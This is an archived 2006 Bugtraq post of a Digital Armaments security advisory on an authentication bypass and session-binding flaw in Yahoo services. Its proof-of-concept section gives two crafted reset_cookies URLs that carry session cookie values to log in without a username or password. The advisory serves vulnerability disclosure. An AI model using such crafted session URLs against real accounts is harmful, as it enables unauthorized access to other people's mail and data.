bugtraq - Digital Armaments Security Advisory 07.12.2006: Yahoo multiple services authentication bypass Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: 7 Dec 2006 11:27:17 -0000
From: info@...italarmaments.com
To: bugtraq@...urityfocus.com
Subject: Digital Armaments Security Advisory 07.12.2006: Yahoo multiple
 services authentication bypass Vulnerability

Digital Armaments advisory for Platinum Subcription is 06.20.2006
Digital Armaments public advisory is 12.07.2006

http://www.digitalarmaments.com/2006061285940301.html

I. Background

Yahoo! Inc. is an American computer services company with a mission to "be the most essential global Internet service for consumers and businesses". It operates an Internet portal, including the popular Yahoo! Mail.According to Web trends Yahoo! is the most visited website on the Internet today with more than 400 million unique users. The global network of Yahoo! websites received 3.4 billion page views per day on average as of October 2005.

Various Yahoo! services are vulnerable to authentication bypass vulnerability.

Further information or detail about the software you can refer to the vendor's homepage:

http://www.yahoo.com/

II. Problem Description

Authentication Bypass and Session Binding Vulnerability. A malicious user can log on to the yahoo without submitting the username and password by constructing a malicious URL using cookies.

Same session (URL) can be used to login multiple times from multiple IP address leading to session binding vulnerability.

Example of Proof-of-concept ("sk" & "d" is session):

--------------------------------------------------------------------------
http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11
%26l=i42.j4ij/o&.t=T=sk=DAAsN0czPhbeiv%26d=c2wBTlRVMUFUSTFNVEl4TXpnNU5EVS0
BYQFRQUUBdGlwAVNQZHhvQgF6egFnblhtRUJnV0E--&.done=http%3a//mail.yahoo.com
--------------------------------------------------------------------------
http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11
%26l=i42.j4ij/o%26p=m2gvvind13000700&.t=T=sk=DAAsN0czPhbeiv%26d=c2wBTlRVMU
FUSTFNVEl4TXpnNU5EVS0BYQFRQUUBdGlwAVNQZHhvQgF6egFnblhtRUJnV0E-&.done=http
%3a//mail.yahoo.com
--------------------------------------------------------------------------

III. Detection

This problem has been detected on online version of Yahoo website.

IV. Impact analysis

A malicious user can log on to the yahoo without submitting the username and password by constructing a malicious URL using cookies.

V. Credit

anonymous

Get paid and get stocks by vulnerability submission
http://www.digitalarmaments.com/contribute.html

VI. Legal Notices

Copyright © 2006 Digital Armaments Inc..

Redistribution of this alert electronically is allowed. It should not be edited in any way. Reprint the whole is allowed, partial reprint is not permitted. For any other request please email customerservice@...italarmaments.com for permission.Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.